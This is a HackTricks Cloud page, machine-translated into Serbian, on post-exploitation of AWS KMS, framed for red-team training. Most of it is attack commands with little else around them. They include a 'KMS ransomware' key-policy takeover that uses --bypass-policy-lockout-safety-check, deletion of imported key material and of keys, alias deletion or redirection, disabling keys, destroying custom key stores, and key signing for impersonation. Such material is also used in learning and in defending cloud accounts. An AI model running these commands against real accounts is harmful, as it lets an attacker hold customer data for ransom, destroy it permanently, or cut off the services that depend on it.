AWS - KMS Post Exploitation
Tip
Nauči & vežbaj AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Nauči & vežbaj GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Nauči & vežbaj Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Pogledajte subscription plans!
- Pridružite se 💬 Discord group or the telegram group or pratite nas na Twitter 🐦 @hacktricks_live.
- Podelite hacking tricks slanjem PR-ova na HackTricks i HackTricks Cloud github repos.
KMS
For more information check:
Encrypt/Decrypt information
fileb:// and file:// are URI schemes used in AWS CLI commands to specify the path to local files:
fileb://:Čita fajl u binarnom režimu, obično se koristi za fajlove koji nisu tekstualni.file://:Čita fajl u tekstualnom režimu, tipično se koristi za fajlove običnog teksta, skripte ili JSON koji nema posebne zahteve za enkodiranje.
Tip
Imajte na umu da, ako želite da dešifrujete neke podatke unutar fajla, fajl mora da sadrži binarne podatke, a ne base64 kodirane podatke. (fileb://)
- Korišćenje simetričnog ključa
# Encrypt data
aws kms encrypt \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile
# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--output text \
--query Plaintext | base64 \
--decode
- Korišćenje asimetričnog ključa:
# Encrypt data
aws kms encrypt \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile
# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--output text \
--query Plaintext | base64 \
--decode
KMS Ransomware
Napadač sa privilegovanim pristupom KMS-u mogao bi izmeniti KMS policy ključeva i dodeliti svom nalogu pristup njima, uklanjajući pristup dodeljen legitimnom nalogu.
Korisnici legitimnog naloga tada neće moći da pristupe bilo kojim informacijama iz bilo koje usluge koja je enkriptovana tim ključevima, stvarajući jednostavan ali efektivan ransomware nad nalogom.
Warning
Imajte na umu da AWS managed keys aren’t affected ovim napadom, već samo Customer managed keys.
Takođe imajte na umu potrebu za korišćenjem parametra
--bypass-policy-lockout-safety-check(nedostatak ove opcije u web konzoli čini ovaj napad mogućim samo iz CLI).
# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
--policy-name default \
--policy file:///tmp/policy.yaml \
--bypass-policy-lockout-safety-check
{
"Id": "key-consolepolicy-3",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<your_own_account>:root"
},
"Action": "kms:*",
"Resource": "*"
}
]
}
Caution
Obratite pažnju da ako promenite tu politiku i dodelite pristup samo eksternom nalogu, a zatim iz tog eksternog naloga pokušate da postavite novu politiku da give the access back to original account, you won’t be able cause the Put Polocy action cannot be performed from a cross account.
.png)
Generički KMS Ransomware
Postoji još jedan način da se izvede globalni KMS Ransomware, koji bi uključivao sledeće korake:
- Kreirajte novi key with a key material imported by the attacker
- Re-encrypt older data žrtve koja je enkriptovana prethodnom verzijom koristeći novu
- Delete the KMS key
- Sada samo napadač, koji poseduje originalni key material, može decrypt the encrypted data
Brisanje ključeva putem kms:DeleteImportedKeyMaterial
Sa kms:DeleteImportedKeyMaterial permisijom, akter može obrisati the imported key material iz CMKs sa Origin=EXTERNAL (CMKs that have imported their key material), čineći ih nesposobnim da decryptuju podatke. Ova akcija je destruktivna i nepovratna osim ako kompatibilni materijal nije ponovo uvezen, što omogućava napadaču da efikasno prouzrokuje gubitak podataka sličan ransomware-u tako što će enkriptovane informacije učiniti trajno nedostupnim.
aws kms delete-imported-key-material --key-id <Key_ID>
Destroy keys
Uništavanjem keys moguće je izvesti DoS.
# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
--pending-window-in-days 7
Caution
Imajte na umu da AWS sada sprečava da se prethodne radnje izvršavaju iz cross account:
Promeni ili izbriši Alias
Ovaj napad briše ili preusmerava AWS KMS aliases, narušavajući rešavanje ključa i uzrokujući trenutne greške u svim servisima koji zavise od tih aliases, što može rezultirati denial-of-service. Sa permisijama kao što su kms:DeleteAlias ili kms:UpdateAlias napadač može ukloniti ili preusmeriti aliases i ometati kriptografske operacije (npr. encrypt, describe). Bilo koji servis koji referencira alias umesto key ID može prestati da radi dok se alias ne obnovi ili ne premapira ispravno.
# Delete Alias
aws kms delete-alias --alias-name alias/<key_alias>
# Update Alias
aws kms update-alias \
--alias-name alias/<key_alias> \
--target-key-id <new_target_key>
Cancel Key Deletion
Sa dozvolama poput kms:CancelKeyDeletion i kms:EnableKey, napadač može otkazati zakazano brisanje AWS KMS customer master key i kasnije ga ponovo omogućiti. Time se ključ vraća (prvobitno u Disabled stanju) i obnavlja njegova sposobnost da dešifruje prethodno zaštićene podatke, omogućavajući exfiltration.
# Firts cancel de deletion
aws kms cancel-key-deletion \
--key-id <Key_ID>
## Second enable the key
aws kms enable-key \
--key-id <Key_ID>
Onemogući ključ
Sa dozvolom kms:DisableKey, napadač može onemogućiti AWS KMS customer master key, sprečavajući njegovo korišćenje za encryption ili decryption. To prekida pristup svim servisima koji zavise od tog CMK i može izazvati trenutne prekide ili denial-of-service dok se ključ ponovo ne omogući.
aws kms disable-key \
--key-id <key_id>
Izvođenje zajedničke tajne
Sa kms:DeriveSharedSecret dozvolom, entitet može koristiti privatni ključ koji drži KMS i javni ključ koji je korisnik dostavio da izračuna ECDH zajedničku tajnu.
aws kms derive-shared-secret \
--key-id <key_id> \
--public-key fileb:///<route_to_public_key> \
--key-agreement-algorithm <algorithm>
Impersonation via kms:Sign
Sa kms:Sign dozvolom, entitet može koristiti KMS-stored CMK da kriptografski potpiše podatke bez izlaganja private key, stvarajući važeće potpise koji mogu omogućiti impersonation ili autorizovati maliciozne akcije.
aws kms sign \
--key-id <key-id> \
--message fileb://<ruta-al-archivo> \
--signing-algorithm <algoritmo> \
--message-type RAW
DoS with Custom Key Stores
Sa dozvolama kao što su kms:DeleteCustomKeyStore, kms:DisconnectCustomKeyStore, ili kms:UpdateCustomKeyStore, napadač može izmeniti, isključiti ili obrisati AWS KMS Custom Key Store (CKS), čineći njegove master ključeve neupotrebljivim. To prekida operacije enkripcije, dekripcije i potpisivanja za sve servise koji zavise od tih ključeva i može izazvati trenutni denial-of-service. Zbog toga je od ključne važnosti ograničiti i nadzirati te dozvole.
aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
aws kms disconnect-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --new-custom-key-store-name <NEW_NAME> --key-store-password <NEW_PASSWORD>
.png)
Tip
Nauči & vežbaj AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Nauči & vežbaj GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Nauči & vežbaj Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Pogledajte subscription plans!
- Pridružite se 💬 Discord group or the telegram group or pratite nas na Twitter 🐦 @hacktricks_live.
- Podelite hacking tricks slanjem PR-ova na HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

